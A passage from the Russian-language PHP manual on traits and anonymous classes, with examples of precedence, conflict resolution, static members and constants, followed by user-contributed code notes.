}
?>

Приоритет

Наследуемый член из базового класса переопределяется членом, находящимся в трейте. Порядок приоритета следующий: члены из текущего класса переопределяют методы в трейте, которые в свою очередь переопределяют унаследованные методы.

Пример #2 Пример приоритета старшинства

Наследуемый метод от базового класса переопределяется методом, добавленным в MyHelloWorld из трейта SayWorld. Поведение такое же как и для методов, определённых в классе MyHelloWorld. Порядок приоритета такой: методы из текущего класса переопределяют методы трейта, которые в свою очередь переопределяют методы из базового класса.

<?php
class Base {
public function sayHello() {
echo 'Hello ';
}
}

trait SayWorld {
public function sayHello() {
parent::sayHello();
echo 'World!';
}
}

class MyHelloWorld extends Base {
use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

Результат выполнения данного примера:

Hello World!

Пример #3 Пример альтернативного порядка приоритета

<?php
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}

class TheWorldIsNotEnough {
use HelloWorld;
public function sayHello() {
echo 'Hello Universe!';
}
}

$o = new TheWorldIsNotEnough();
$o->sayHello();
?>

Результат выполнения данного примера:

Hello Universe!

Несколько трейтов

В класс можно добавить несколько трейтов, перечислив их в директиве use через запятую.

Пример #4 Пример использования нескольких трейтов

<?php
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}

trait World {
public function sayWorld() {
echo 'World';
}
}

class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

Результат выполнения данного примера:

Hello World!

Разрешение конфликтов

Если два трейта добавляют метод с одним и тем же именем, это приводит к фатальной ошибке в случае, если конфликт явно не разрешён.

Для разрешения конфликтов именования между трейтами, используемыми в одном и том же классе, необходимо использовать оператор insteadof для того, чтобы точно выбрать один из конфликтующих методов.

Так как предыдущий оператор позволяет только исключать методы, оператор as может быть использован для включения одного из конфликтующих методов под другим именем. Обратите внимание, что оператор as не переименовывает метод и не влияет на какой-либо другой метод.

Пример #5 Пример разрешения конфликтов

В этом примере Talker использует трейты A и B. Так как в A и B есть конфликтующие методы, он использует вариант smallTalk из трейта B, а вариант bigTalk - из трейта A.

Класс Aliased_Talker применяет оператор as, чтобы получить возможность использовать реализацию bigTalk из B под дополнительным псевдонимом talk.

<?php
trait A {
public function smallTalk() {
echo 'a';
}
public function bigTalk() {
echo 'A';
}
}

trait B {
public function smallTalk() {
echo 'b';
}
public function bigTalk() {
echo 'B';
}
}

class Talker {
use A, B {
B::smallTalk insteadof A;
A::bigTalk insteadof B;
}
}

class Aliased_Talker {
use A, B {
B::smallTalk insteadof A;
A::bigTalk insteadof B;
B::bigTalk as talk;
}
}
?>

Изменение видимости метода

Используя синтаксис оператора as, можно также изменить видимость метода в использующем трейт классе.

Пример #6 Пример изменения видимости метода

<?php
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}

// Изменение видимости метода sayHello
class MyClass1 {
use HelloWorld { sayHello as protected; }
}

// Создание псевдонима метода с изменённой видимостью
// видимость sayHello не изменилась
class MyClass2 {
use HelloWorld { sayHello as private myPrivateHello; }
}
?>

Трейты, состоящие из трейтов

Трейты могут использоваться как в классах, так и в других трейтах. Используя один или более трейтов в определении другого трейта, он может частично или полностью состоять из членов, определённых в этих трейтах.

Пример #7 Пример трейтов, составленных из трейтов

<?php
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}

trait World {
public function sayWorld() {
echo 'World!';
}
}

trait HelloWorld {
use Hello, World;
}

class MyHelloWorld {
use HelloWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
?>

Результат выполнения данного примера:

Hello World!

Абстрактные члены трейтов

Трейты поддерживают использование абстрактных методов для того, чтобы установить требования к использующему классу. Поддерживаются общедоступные, защищённые и закрытые методы. До PHP 8.0.0 поддерживались только общедоступные и защищённые абстрактные методы.

Предостережение

Конкретный класс исполняет эти требования путём определения конкретного метода с тем же именем; при этом сигнатура метода может отличаться.

Пример #8 Требования трейта при помощи абстрактных методов

<?php
trait Hello {
public function sayHelloWorld() {
echo 'Hello'.$this->getWorld();
}
abstract public function getWorld();
}

class MyHelloWorld {
private $world;
use Hello;
public function getWorld() {
return $this->world;
}
public function setWorld($val) {
$this->world = $val;
}
}
?>

Статические члены трейта

В трейтах можно определять статические переменные, статические методы и статические свойства.

Замечание:

Начиная с PHP 8.1.0, вызов статического метода или доступ к статическому свойству непосредственно в трейте устарел. К статическим методам и свойствам следует обращаться только в классе, использующем трейт.

Пример #9 Статические переменные

<?php
trait Counter {
public function inc() {
static $c = 0;
$c = $c + 1;
echo "$c\n";
}
}

class C1 {
use Counter;
}

class C2 {
use Counter;
}

$o = new C1(); $o->inc(); // echo 1
$p = new C2(); $p->inc(); // echo 1
?>

Пример #10 Статические методы

<?php
trait StaticExample {
public static function doSomething() {
return 'Что-либо делаем';
}
}

class Example {
use StaticExample;
}

Example::doSomething();
?>

Пример #11 Статические свойства

<?php
trait StaticExample {
public static $static = 'foo';
}
class Example {
use StaticExample;
}
echo Example::$static;
?>

Свойства

Трейты могут также определять свойства.

Пример #12 Определение свойств

<?php
trait PropertiesTrait {
public $x = 1;
}

class PropertiesExample {
use PropertiesTrait;
}

$example = new PropertiesExample;
$example->x;
?>

Если трейт определяет свойство, то класс не может определить свойство с таким же именем, кроме случаев полного совпадения (та же область видимости и тип, модификатор readonly и начальное значение), иначе будет выброшена фатальная ошибка.

Пример #13 Разрешение конфликтов

<?php
trait PropertiesTrait {
public $same = true;
public $different1 = false;
public bool $different2;
public bool $different3;
}

class PropertiesExample {
use PropertiesTrait;
public $same = true;
public $different1 = true; // Фатальная ошибка
public string $different2; // Фатальная ошибка
readonly protected bool $different3; // Фатальная ошибка
}
?>

Константы

Начиная с версии PHP 8.2.0, трейты могут также определять константы.

Пример #14 Определение констант

<?php
trait ConstantsTrait {
public const FLAG_MUTABLE = 1;
final public const FLAG_IMMUTABLE = 5;
}

class ConstantsExample {
use ConstantsTrait;
}

$example = new ConstantsExample;
echo $example::FLAG_MUTABLE; // 1
?>

Если трейт определяет константу, то класс не может определить константу с таким же именем, если только они не совместимы (одинаковая область видимости, начальное значение и модификатор final), иначе выбрасывается фатальная ошибка.

Пример #15 Разрешение конфликтов

<?php
trait ConstantsTrait {
public const FLAG_MUTABLE = 1;
final public const FLAG_IMMUTABLE = 5;
}

class ConstantsExample {
use ConstantsTrait;
public const FLAG_IMMUTABLE = 5; // Фатальная ошибка
}
?>

User Contributed Notes

JustAddingSomeAdditionalUseCase 22-Feb-2023 11:14
I have not seen this specific use case:

"Wanting to preserve action of parent class method, the trait one calling ::parent & also the child class mehod action".

// Child class.
use SuperTrait {
  initialize as initializeOr;
}
public function initialize(array &$element) {
  ...
  $this->initializeOr($element);
}
// Trait.
public function initialize(array &$element) {
  ...
  parent::initialize($element);
}
// Parent class.
public function initialize(array &$element) {
  ...
}
guidobelluomo at gmail dot com 22-Sep-2020 06:57
If you override a method which was defined by a trait, calling the parent method will also call the trait's override. Therefore if you need to derive from a class which has a trait, you can extend the class without losing the trait's functionality:

<?php

trait ExampleTrait
{
    public function output()
    {
        parent::output();
        echo "bar<br>";
    }
}

class Foo
{
    public function output()
    {
        echo "foo<br>";
    }
}

class FooBar extends Foo
{
    use ExampleTrait;
}

class FooBarBaz extends FooBar
{
    use ExampleTrait;
    public function output()
    {
        parent::output();
        echo "baz";
    }
}

(new FooBarBaz())->output();
?>

Output:
foo
bar
baz
yeu_ym at yahoo dot com 02-Mar-2019 04:03
Here is an example how to work with visiblity and conflicts.

<?php

trait A
{
    private function smallTalk()
    {
        echo 'a';
    }

    private function bigTalk()
    {
        echo 'A';
    }
}

trait B
{
    private function smallTalk()
    {
        echo 'b';
    }

    private function bigTalk()
    {
        echo 'B';
    }
}

trait C
{
    public function smallTalk()
    {
        echo 'c';
    }

    public function bigTalk()
    {
        echo 'C';
    }
}

class Talker
{
    use A, B, C {
        //visibility for methods that will be involved in conflict resolution
        B::smallTalk as public;
        A::bigTalk as public;

        //conflict resolution
        B::smallTalk insteadof A, C;
        A::bigTalk insteadof B, C;

        //aliases with visibility change
        B::bigTalk as public Btalk;
        A::smallTalk as public asmalltalk;

        //aliases only, methods already defined as public
        C::bigTalk as Ctalk;
        C::smallTalk as cmallstalk;
    }

}

(new Talker)->bigTalk();//A
(new Talker)->Btalk();//B
(new Talker)->Ctalk();//C

(new Talker)->asmalltalk();//a
(new Talker)->smallTalk();//b
(new Talker)->cmallstalk();//c
rawsrc 29-May-2018 06:35
About the (Safak Ozpinar / safakozpinar at gmail)'s great note, you can still have the same behavior than inheritance using trait with this approach :
<?php

trait TestTrait {
    public static $_bar;
}

class FooBar {
    use TestTrait;
}

class Foo1 extends FooBar {

}
class Foo2 extends FooBar {

}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
bscheshirwork at gmail dot com 03-Nov-2017 02:04
https://3v4l.org/mFuQE

1. no deprecate if same-class-named method get from trait
2. replace same-named method ba to aa in C

trait ATrait {
    public function a(){
        return 'Aa';
    }
}

trait BTrait {
    public function a(){
        return 'Ba';
    }
}

class C {
    use ATrait{
        a as aa;
    }
    use BTrait{
        a as ba;
    }

    public function a() {
        return static::aa() . static::ba();
    }
}

$o = new C;
echo $o->a(), "\n";

class D {
    use ATrait{
        ATrait::a as aa;
    }
    use BTrait{
        BTrait::a as ba;
    }

    public function a() {
        return static::aa() . static::ba();
    }
}

$o = new D;
echo $o->a(), "\n";

class E {
    use ATrait{
        ATrait::a as aa;
        ATrait::a insteadof BTrait;
    }
    use BTrait{
        BTrait::a as ba;
    }

    public function e() {
        return static::aa() . static::ba();
    }
}

$o = new E;
echo $o->e(), "\n";

class F {
    use ATrait{
        a as aa;
    }
    use BTrait{
        a as ba;
    }

    public function f() {
        return static::aa() . static::ba();
    }
}

$o = new F;
echo $o->f(), "\n";

AaAa
AaBa

Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; E has a deprecated constructor in /in/mFuQE on line 48
AaBa

Fatal error: Trait method a has not been applied, because there are collisions with other trait methods on F in /in/mFuQE on line 65
katrinaelaine6 at gmail dot com 19-Oct-2017 08:56
Adding to "atorich at gmail dot com":

The behavior of the magic constant __CLASS__ when used in traits is as expected if you understand traits and late static binding (http://php.net/manual/en/language.oop5.late-static-bindings.php).

<?php

$format = 'Class: %-13s | get_class(): %-13s | get_called_class(): %-13s%s';

trait TestTrait {
    public function testMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function testStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

trait DuplicateTrait {
    public function duplMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function duplStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

abstract class AbstractClass {

    use DuplicateTrait;

    public function absMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function absStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

class BaseClass extends AbstractClass {
    use TestTrait;
}

class TestClass extends BaseClass { }

$t = new TestClass();

$t->testMethod();
TestClass::testStatic();

$t->absMethod();
TestClass::absStatic();

$t->duplMethod();
TestClass::duplStatic();

?>

Will output:

Class: BaseClass     | get_class(): BaseClass     | get_called_class(): TestClass
Class: BaseClass     | get_class(): BaseClass     | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass

Since Traits are considered literal "copying/pasting" of code, it's clear how the methods defined in DuplicateTrait give the same results as the methods defined in AbstractClass.
cody at codysnider dot com 30-Mar-2017 03:05
/*
DocBlocks pertaining to the class or trait will NOT be carried over when applying the trait.

Results trying a couple variations on classes with and without DocBlocks that use a trait with a DocBlock
*/

<?php

/**
 * @Entity
 */
trait Foo
{
    protected $foo;
}

/**
 * @HasLifecycleCallbacks
 */
class Bar
{
    use \Foo;

    protected $bar;
}

class MoreBar
{
    use \Foo;

    protected $moreBar;
}

$w = new \ReflectionClass('\Bar');
echo $w->getName() . ":\r\n";
echo $w->getDocComment() . "\r\n\r\n";

$x = new \ReflectionClass('\MoreBar');
echo $x->getName() . ":\r\n";
echo $x->getDocComment() . "\r\n\r\n";

$barObj = new \Bar();
$y = new \ReflectionClass($barObj);
echo $y->getName() . ":\r\n";
echo $y->getDocComment() . "\r\n\r\n";

foreach($y->getTraits() as $traitObj) {
    echo $y->getName() . " ";
    echo $traitObj->getName() . ":\r\n";
    echo $traitObj->getDocComment() . "\r\n";
}

$moreBarObj = new \MoreBar();
$z = new \ReflectionClass($moreBarObj);
echo $z->getName() . " ";
echo $z->getDocComment() . "\r\n\r\n";

foreach($z->getTraits() as $traitObj) {
    echo $z->getName() . " ";
    echo $traitObj->getName() . ":\r\n";
    echo $traitObj->getDocComment() . "\r\n";
}
marko at newvibrations dot net 13-Oct-2016 12:51
As already noted, static properties and methods in trait could be accessed directly using trait. Since trait is language assisted c/p, you should be aware that static property from trait will be initialized to the value trait property had in the time of class declaration.

Example:

<?php

trait Beer {
    protected static $type = 'Light';
    public static function printed(){
        echo static::$type.PHP_EOL;
    }
    public static function setType($type){
        static::$type = $type;
    }
}

class Ale {
    use Beer;
}

Beer::setType("Dark");

class Lager {
    use Beer;
}

Beer::setType("Amber");

header("Content-type: text/plain");

Beer::printed();  // Prints: Amber
Ale::printed();   // Prints: Light
Lager::printed(); // Prints: Dark

?>
canufrank 10-Sep-2016 06:57
A number of the notes make incorrect assertions about trait behaviour because they do not extend the class.

So, while "Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>"

shows a correct example, simply adding
<?php
require_once('above');
class Foo3 extends Foo2 {
}
Foo3::$_bar = 'news';
echo Foo1::$_bar . ' ' . Foo2::$_bar . ' ' . Foo3::$_bar;

// Prints: Hello news news

I think the best conceptual model of an incorporated trait is an advanced insertion of text, or as someone put it "language assisted copy and paste." If Foo1 and Foo2 were defined with $_bar, you would not expect them to share the instance. Similarly, you would expect Foo3 to share with Foo2, and it does.

Viewing this way explains away a lot of  the 'quirks' that are observed above with final, or subsequently declared private vars,
Carlos Alberto Bertholdo Carucce 29-Mar-2016 06:17
If you want to resolve name conflicts and also change the visibility of a trait method, you'll need to declare both in the same line:

trait testTrait{

    public function test(){
        echo 'trait test';
    }

}

class myClass{

    use testTrait {
        testTrait::test as private testTraitF;
    }

    public function test(){
        echo 'class test';
        echo '<br/>';
        $this->testTraitF();
    }

}

$obj = new myClass();
$obj->test(); //prints both 'trait test' and 'class test'
$obj->testTraitF(); //The method is not accessible (Fatal error: Call to private method myClass::testTraitF() )
balbuf 25-Jan-2016 03:50
(It's already been said, but for the sake of searching on the word "relative"...)

The "use" keyword to import a trait into a class will resolve relative to the current namespace and therefore should include a leading slash to represent a full path, whereas "use" at the namespace level is always absolute.
qeremy (!) gmail 19-Mar-2015 10:48
Keep in mind; "final" keyword is useless in traits when directly using them, unlike extending classes / abstract classes.

<?php
trait Foo {
    final public function hello($s) { print "$s, hello!"; }
}
class Bar {
    use Foo;
    // Overwrite, no error
    final public function hello($s) { print "hello, $s!"; }
}

abstract class Foo {
    final public function hello($s) { print "$s, hello!"; }
}
class Bar extends Foo {
    // Fatal error: Cannot override final method Foo::hello() in ..
    final public function hello($s) { print "hello, $s!"; }
}
?>

But this way will finalize trait methods as expected;

<?php
trait FooTrait {
    final public function hello($s) { print "$s, hello!"; }
}
abstract class Foo {
    use FooTrait;
}
class Bar extends Foo {
    // Fatal error: Cannot override final method Foo::hello() in ..
    final public function hello($s) { print "hello, $s!"; }
}
?>
84td84 at gmail dot com 17-Mar-2015 01:46
A note to 'Beispiel #9 Statische Variablen'. A trait can also have a static property:

trait Counter {
    static $trvar=1;

    public static function stfunc() {
        echo "Hello world!"
    }
}

class C1 {
    use Counter;
}

print "\nTRVAR: " . C1::$trvar . "\n";   //prints 1

$obj = new C1();
C1::stfunc();   //prints  Hello world!
$obj->stfunc();   //prints Hello world!

A static property (trvar) can only be accessed using the classname (C1).
But a static function (stfunc) can be accessed using the classname or the instance ($obj).
Kristof 30-May-2014 11:18
don't forget you can create complex (embedded) traits as well

<?php
trait Name {
  // ...
}
trait Address {
  // ...
}
trait Telephone {
  // ...
}
trait Contact {
  use Name, Address, Telephone;
}
class Customer {
  use Contact;
}
class Invoce {
  use Contact;
}
?>
qschuler at neosyne dot com 14-Feb-2014 08:31
Note that you can omit a method's inclusion by excluding it from one trait in favor of the other and doing the exact same thing in the reverse way.

<?php

trait A {
    public function sayHello()
    {
        echo 'Hello from A';
    }

    public function sayWorld()
    {
        echo 'World from A';
    }
}

trait B {
    public function sayHello()
    {
        echo 'Hello from B';
    }

    public function sayWorld()
    {
        echo 'World from B';
    }
}

class Talker {
    use A, B {
        A::sayHello insteadof B;
        A::sayWorld insteadof B;
        B::sayWorld insteadof A;
    }
}

$talker = new Talker();
$talker->sayHello();
$talker->sayWorld();

?>

The method sayHello is imported, but the method sayWorld is simply excluded.
Stefan W 22-Aug-2013 10:03
Note that the "use" operator for traits (inside a class) and the "use" operator for namespaces (outside the class) resolve names differently. "use" for namespaces always sees its arguments as absolute (starting at the global namespace):

<?php
namespace Foo\Bar;
use Foo\Test;  // means \Foo\Test - the initial \ is optional
?>

On the other hand, "use" for traits respects the current namespace:

<?php
namespace Foo\Bar;
class SomeClass {
    use Foo\Test;   // means \Foo\Bar\Foo\Test
}
?>

Together with "use" for closures, there are now three different "use" operators. They all mean different things and behave differently.
Oddant 29-May-2013 03:10
I think it's obvious to notice that using 'use' followed by the traits name must be seen as just copying/pasting lines of code into the place where they are used.
D. Marti 01-Nov-2012 03:25
Traits are useful for strategies, when you want the same data to be handled (filtered, sorted, etc) differently.

For example, you have a list of products that you want to filter out based on some criteria (brands, specs, whatever), or sorted by different means (price, label, whatever). You can create a sorting trait that contains different functions for different sorting types (numeric, string, date, etc). You can then use this trait not only in your product class (as given in the example), but also in other classes that need similar strategies (to apply a numeric sort to some data, etc).

<?php
trait SortStrategy {
    private $sort_field = null;
    private function string_asc($item1, $item2) {
        return strnatcmp($item1[$this->sort_field], $item2[$this->sort_field]);
    }
    private function string_desc($item1, $item2) {
        return strnatcmp($item2[$this->sort_field], $item1[$this->sort_field]);
    }
    private function num_asc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] < $item2[$this->sort_field] ? -1 : 1 );
    }
    private function num_desc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] > $item2[$this->sort_field] ? -1 : 1 );
    }
    private function date_asc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 < $date2 ? -1 : 1 );
    }
    private function date_desc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 > $date2 ? -1 : 1 );
    }
}

class Product {
    public $data = array();

    use SortStrategy;

    public function get() {
        // do something to get the data, for this ex. I just included an array
        $this->data = array(
            101222 => array('label' => 'Awesome product', 'price' => 10.50, 'date_added' => '2012-02-01'),
            101232 => array('label' => 'Not so awesome product', 'price' => 5.20, 'date_added' => '2012-03-20'),
            101241 => array('label' => 'Pretty neat product', 'price' => 9.65, 'date_added' => '2012-04-15'),
            101256 => array('label' => 'Freakishly cool product', 'price' => 12.55, 'date_added' => '2012-01-11'),
            101219 => array('label' => 'Meh product', 'price' => 3.69, 'date_added' => '2012-06-11'),
        );
    }

    public function sort_by($by = 'price', $type = 'asc') {
        if (!preg_match('/^(asc|desc)$/', $type)) $type = 'asc';
        switch ($by) {
            case 'name':
                $this->sort_field = 'label';
                uasort($this->data, array('Product', 'string_'.$type));
            break;
            case 'date':
                $this->sort_field = 'date_added';
                uasort($this->data, array('Product', 'date_'.$type));
            break;
            default:
                $this->sort_field = 'price';
                uasort($this->data, array('Product', 'num_'.$type));
        }
    }
}

$product = new Product();
$product->get();
$product->sort_by('name');
echo '<pre>'.print_r($product->data, true).'</pre>';
?>
artur at webprojektant dot pl 28-Sep-2012 06:10
Trait can not have the same name as class because it will  show: Fatal error: Cannot redeclare class
t8 at AT pobox dot com 23-Jul-2012 08:17
Another difference with traits vs inheritance is that methods defined in traits can access methods and properties of the class they're used in, including private ones.

For example:
<?php
trait MyTrait
{
  protected function accessVar()
  {
    return $this->var;
  }

}

class TraitUser
{
  use MyTrait;

  private $var = 'var';

  public function getVar()
  {
    return $this->accessVar();
  }
}

$t = new TraitUser();
echo $t->getVar(); // -> 'var'

?>
ryan at derokorian dot com 15-Apr-2012 02:03
Simple singleton trait.

<?php

trait singleton {
    /**
     * private construct, generally defined by using class
     */
    //private function __construct() {}

    public static function getInstance() {
        static $_instance = NULL;
        $class = __CLASS__;
        return $_instance ?: $_instance = new $class;
    }

    public function __clone() {
        trigger_error('Cloning '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }

    public function __wakeup() {
        trigger_error('Unserializing '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }
}

/**
 * Example Usage
 */

class foo {
    use singleton;

    private function __construct() {
        $this->name = 'foo';
    }
}

class bar {
    use singleton;

    private function __construct() {
        $this->name = 'bar';
    }
}

$foo = foo::getInstance();
echo $foo->name;

$bar = bar::getInstance();
echo $bar->name;
Safak Ozpinar / safakozpinar at gmail 18-Mar-2012 03:03
Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>
Edward 01-Mar-2012 03:29
The difference between Traits and multiple inheritance is in the inheritance part.   A trait is not inherited from, but rather included or mixed-in, thus becoming part of "this class".   Traits also provide a more controlled means of resolving conflicts that inevitably arise when using multiple inheritance in the few languages that support them (C++).  Most modern languages are going the approach of a "traits" or "mixin" style system as opposed to multiple-inheritance, largely due to the ability to control ambiguities if a method is declared in multiple "mixed-in" classes.

Also, one can not "inherit" static member functions in multiple-inheritance.
greywire at gmail dot com 16-Feb-2012 07:12
The best way to understand what traits are and how to use them is to look at them for what they essentially are:  language assisted copy and paste.

If you can copy and paste the code from one class to another (and we've all done this, even though we try not to because its code duplication) then you have a candidate for a trait.
chris dot rutledge at gmail dot com 21-Dec-2011 12:42
It may be worth noting here that the magic constant __CLASS__ becomes even more magical - __CLASS__ will return the name of the class in which the trait is being used.

for example

<?php
trait sayWhere {
    public function whereAmI() {
        echo __CLASS__;
    }
}

class Hello {
    use sayWHere;
}

class World {
    use sayWHere;
}

$a = new Hello;
$a->whereAmI(); //Hello

$b = new World;
$b->whereAmI(); //World
?>

The magic constant __TRAIT__ will giev you the name of the trait


Анонимные классы

Анонимные классы полезны, когда нужно создать простые, одноразовые объекты.

<?php

// Использование явного класса
class Logger
{
public function log($msg)
{
echo $msg;
}
}

$util->setLogger(new Logger());

// Использование анонимного класса
$util->setLogger(new class {
public function log($msg)
{
echo $msg;
}
});

Они могут передавать аргументы в конструкторы, расширять другие классы, реализовывать интерфейсы и использовать трейты как обычный класс:

<?php

class SomeClass {}
interface SomeInterface {}
trait SomeTrait {}

var_dump(new class(10) extends SomeClass implements SomeInterface {
private $num;

public function __construct($num)
{
$this->num = $num;
}

use SomeTrait;
});

Результат выполнения данного примера:

object(class@anonymous)#1 (1) {
  ["Command line code0x104c5b612":"class@anonymous":private]=>
  int(10)
}

Вложение анонимного класса в другой класс не даёт ему доступ к закрытым или защищённым методам и свойствам этого внешнего класса. Для того, чтобы использовать защищённые свойства и методы внешнего класса, анонимный класс может расширить внешний класс. Чтобы использовать закрытые свойства внешнего класса в анонимном классе, их нужно передать в конструктор:

<?php

class Outer
{
private $prop = 1;
protected $prop2 = 2;

protected function func1()
{
return 3;
}

public function func2()
{
return new class($this->prop) extends Outer {
private $prop3;

public function __construct($prop)
{
$this->prop3 = $prop;
}

public function func3()
{
return $this->prop2 + $this->prop3 + $this->func1();
}
};
}
}

echo (new Outer)->func2()->func3();

Результат выполнения данного примера:

6

Все объекты, созданные одним и тем же объявлением анонимного класса, являются экземплярами этого самого класса.

<?php
function anonymous_class()
{
return new class {};
}

if (get_class(anonymous_class()) === get_class(anonymous_class())) {
echo 'Тот же класс';
} else {
echo 'Другой класс';
}

Результат выполнения данного примера:

Тот же класс

Замечание:

Обратите внимание, что анонимным классам присваиваются имена движком PHP, как показано в примере ниже. Это имя следует рассматривать как особенность реализации, на которую не следует полагаться.

<?php
echo get_class(new class {});

Результатом выполнения данного примера будет что-то подобное:

class@anonymous/in/oNi1A0x7f8636ad2021

User Contributed Notes

razvan_bc at yahoo dot com 09-Mar-2020 05:27
you can try these

<?php

$oracle=&$_['nice_php'];
$_['nice_php']=(function(){
    return new class{
        public static function say($msg){
            echo $msg;
        }

        public static function sp(){
            echo self::say(' ');
        }

    };
});

/*
$_['nice_php']()::say('Hello');
$_['nice_php']()::sp();
$_['nice_php']()::say('World');
$_['nice_php']()::sp();
$_['nice_php']()::say('!');
//almost the same code bottom
*/

$oracle()::say('Hello');
$oracle()::sp();
$oracle()::say('World');
$oracle()::sp();
$oracle()::say('!');
?>
joey 09-Jul-2019 04:54
The only way to type hint this would appear to be as object.

If you need multiple instances of an anonymous class in a function you can use:

$class = function(string $arg):object {
    return new class($arg) {
        public function __construct(string $arg) {
            $this->ow = $arg;
        }
    };
};

Though for the sake of structure it's ill advised to do something like this outside of a single scope or that's used across multiple files. If you class is only used in one scope however then it's probably not a code mess problem.
sebastian.wasser at gmail 12-Feb-2019 12:14
I wanted to share my findings on static properties of anonymous classes.

So, given an anonymous class' object generating function like this:

<?php
function nc () {
    return new class {
        public static $prop = [];
    };
}
?>

Getting a new object and changing the static property:

<?php
$a = nc();
$a::$prop[] = 'a';

var_dump($a::$prop);
// array(1) {
//   [0] =>
//   string(1) "a"
// }
?>

Now getting another object and changing the static property will change the original one, meaning that the static property is truly static:

<?php
$b = nc();
$b::$prop[] = 'b';

var_dump($b::$prop); // Same as var_dump($a::$prop);
// array(2) {
//   [0] =>
//   string(1) "a"
//   [1] =>
//   string(1) "b"
// }

assert($a::$prop === $b::$prop); // true
?>
solobot 07-Nov-2017 01:33
eval() is workaround for generating multiple anonymous classes with static properties in loop
<?php
public function generateClassMap()
    {
        foreach ($this->classMap as $tableName => $class)
        {
            $c = null;
            eval('$c = new class extends \common\MyStaticClass {
                public static $tableName;
                public static function tableName()
                {
                    return static::$tableName;
                }
            };');
            $c::$tableName = $this->replicationPrefix.$tableName;
            $this->classMap[$tableName] = $c;

        }
    }
?>
thus every class will have its own $tableName instead of common ancestor.
j.m \ jamesweb \ ca 04-Oct-2017 12:21
/* I like the idea of OneShot classes.
Thanks to that Anonymous bro\sist for precising
new class( $a, $b )
?????????

If you are looking for "Delayed OneShot Anonymous Classes" for any reason (like the reason: loading files in a readable manner while not using autoload), it would probably look something like this; */

$u = function()use(&$u){
    $u = new class{private $name = 'Utils';};
};

$w = function(&$rewrite)use(&$w){
    $w = null;
    $rewrite = new class{private $name = 'DataUtils';};
};

// Usage;
var_dump(
    array(
        'Delayed',
        '( Self Destructive )',
        'Anonymous Class Creation',
        array(
            'Before ( $u )' => $u,
            'Running ( $u() )' => $u(),
            'After ( $u )' => $u,
        ),
        0,0,
        0,0,
        0,0,
        'Delayed',
        '( Overwriting && Self Destructive )',
        'Anonymous Class Creation',
        array(
            'Before ( $w )' => $w,
            'Running ( $w($u) )' => $w($u),
            'After ( $w )' => $w,
            'After ( $u )' => $u
        )
    )
);

// btw : oh shoot I failed a spam challenge
ytubeshareit at gmail dot com 06-May-2017 01:59
Anonymous classes are syntax sugar that may appear deceiving to some.
The 'anonymous' class is still parsed into the global scope, where it is auto assigned a name, and every time the class is needed, that global class definition is used.  Example to illustrate....

The anonymous class version...
<?php

function return_anon(){
    return new class{
         public static $str="foo";
    };
}
$test=return_anon();
echo $test::$str; //ouputs foo

//we can still access the 'anon' class directly in the global scope!
$another=get_class($test); //get the auto assigned name
echo $another::$str;    //outputs foo
?>

The above is functionally the same as doing this....
<?php
class I_named_this_one{
    public static $str="foo";
}
function return_not_anon(){
    return 'I_named_this_one';
}
$clzz=return_not_anon();//get class name
echo $clzz::$str;
?>
piotr at maslosoft dot com 26-Apr-2017 05:47
